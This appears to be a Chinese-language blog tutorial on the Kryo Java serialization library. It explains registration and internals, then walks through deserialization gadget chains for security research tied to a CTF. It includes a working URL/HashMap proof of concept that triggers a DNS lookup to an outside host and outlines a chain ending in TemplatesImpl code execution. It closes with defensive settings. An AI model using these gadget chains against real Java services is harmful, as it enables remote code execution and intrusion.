入门kryo
Demo
首先看个简单的demo1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30package org.example;
public class MyClass {
public String hello;
private int num;
public String toString() {
return "MyClass{" +
"hello='" + hello + '\'' +
", num=" + num +
'}';
}
public String getHello() {
return hello;
}
public void setHello(String hello) {
this.hello = hello;
}
public int getNum() {
return num;
}
public void setNum(int num) {
this.num = num;
}
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25package org.example;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.register(MyClass.class);
MyClass myClass = new MyClass();
myClass.setHello("Hello Kryo");
myClass.setNum(11);
Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeObject(output, myClass);
output.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
MyClass obj = kryo.readObject(input, MyClass.class);
input.close();
System.out.println(obj);
}
}
3种序列化与反序列化
如果是知道序列化类型,并且不为空1
2kryo.writeObject(output, object);
SomeClass object = kryo.readObject(input, SomeClass.class);
如果是知道序列化类型,并且有可能为空1
2kryo.writeObjectOrNull(output, object);
SomeClass object = kryo.readObjectOrNull(input, SomeClass.class);
如果都是不确定的1
2
3
4
5kryo.writeClassAndObject(output, object);
Object object = kryo.readClassAndObject(input);
if (object instanceof SomeClass) {
// ...
}
kryo注册
当不知道序列化的类是什么的时候可以不用注册,一般是为了提高反序列化的效率启用这种注册功能。
1 | Kryo kryo = new Kryo(); |
1 | Kryo kryo = new Kryo(); |
看到上面两段代码,第一个没有id,他会自动给你分配id,后面那段是在参数中提供id,这个id在序列化和反序列化的时候要保持一致,不能用9的去反序列化10的
序列化
首先获取前面获取的register
然后就开始写入序列化数据
最后会根据serializer类型写入序列化数据,在这里的serializer就是string类型的
更加详细的就不说了,还是得自己调试才行,总体流程就是
- 获取registration
- 获取filed,进行filed.write
- 在write中获取相对应的serializer
- 调用serializer.write,进行最后的写入
反序列化
反序列化的流程与序列化基本一致,只不过就是把write改为了read
当反序列化的类型为一个Object类型的时候,可以看到如下的过程,先创建一个Object的实例,接着循环把成员变量那些给赋值上
看看Create中的实现
他主要有几个步骤
- 获取到无参构造
- 如果是private类型,就先让他变成可以访问的 -> ctor.setAccessible(true);
- 调用无参构造函数,并返回该实例
但是有些利用链可能没有无参构造这时候应该怎么办
看到官网
The Objenesis StdInstantiatorStrategy uses JVM specific APIs to create an instance of a class without calling any constructor at all. Using this is dangerous because most classes expect their constructors to be called.
kryo.setInstantiatorStrategy(new DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));
当设置这个策略的时候会不调用任何的构造函数
常用调用链
常用的调用链基本是因为HashMap.put中,会调用到key的equals方法和hashcode方法,而key又是我们可控的,这时候就可以进行一些常规的调用链利用了
首先看到他先反序列化了key,接着反序列化了value,最后进行了put操作
hashCode利用
可以看到hash中触发了key的hashcode方法
URL
首先是最简单的URL利用链1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48package org.example;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URI;
import java.net.URL;
import java.net.URLStreamHandler;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 1);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
URL v2 = new URL("http://x.xxx.tu4.org");
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v2, 0, null));
setFieldValue(s, "table", tbl);
Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeClassAndObject(output,s);
output.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
Object obj = kryo.readClassAndObject(input);
}
}
具体就不分析了,就是会触发URL.hashcode最后触发dnslog
TiedMapEntry
1 | package org.example; |
按理来说应该是可以触发的,但是设置了new StdInstantiatorStrategy()
反序列化的create方法会把TiedMapEntry中的map变量名认成是value
导致无法利用
equals
首先要触发到equals必须要有两个元素(node),而且该元素必须是同一类的,来看看HashMap的putVal源码看看为什么
如果两个类都不是同一个类,就会直接进入到该if当中,而不会执行下面的equals。
接下来看看具体的代码
HotSwappableTargetSource
1 | package org.example; |
利用链是HotSwappableTargetSource.equals->XString.equals->POJONode.toString->SignedObject.getObject->POJONode.toString->getOutputProperties
可能有人会好奇为什么要绕一大圈调用两个POJONode.toString才能执行,直接调用最后那个不就行了吗,但是kryo默认是不反序列化transient字段的
所以_tfactory是不会被反序列化的,这样导致POJONode调用getter方法的时候会报错,导致执行不了getOutputProperties
Kryo反序列化Javabean
上面的反序列化都是默认去调用FieldSerializer
但是还有很多其他类型的Serializer,都继承Serializer
这里面第一个就引起了我的注意,很多反序列化链都是通过调用一些JavaBean去触发一些操作的
看到简介,如何使用该Serializer
这里我直接给出简单的demo1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public class Main {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.register(MyClass.class,new BeanSerializer(kryo, MyClass.class));
MyClass s = new MyClass();
s.setNum(10);
s.setHello("hello");
Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeObject(output,s);
output.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
Object obj = kryo.readObject(input, MyClass.class);
}
}
read and write
先来看看源码
可以发现两个函数都有个1
2property.get
property.set
这些就会触发该类的Bean方法
那么其他操作就应该类似于Fastjson里面的那些类了,这里就不在过多叙述了
kryo的防护
1 | kryo.setRegistrationRequired(true); |
当使用如上代码,那么所有反序列化的类都必须要被注册,才会被反序列化。
1 | kryo.addDefaultSerializer(Class,Serializer) |
当使用上面的代码,可以增加自己的Serializer,自己实现serializer的时候增加相应的黑名单即可
参考
- https://boogipop.com/2023/06/26/%E4%BB%8ECISCN%E8%A5%BF%E5%8D%97%E5%88%86%E5%8C%BA%E8%B5%9B%E5%AD%A6%E4%B9%A0Kryo%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
- https://github.com/p4d0rn/Java_Zoo/blob/2766f312d34c1267fee76c6e1a749d657d412c69/Deserial/Kryo.md
- https://github.com/p4d0rn/Java_Zoo/blob/2766f312d34c1267fee76c6e1a749d657d412c69/CTF/seacloud.md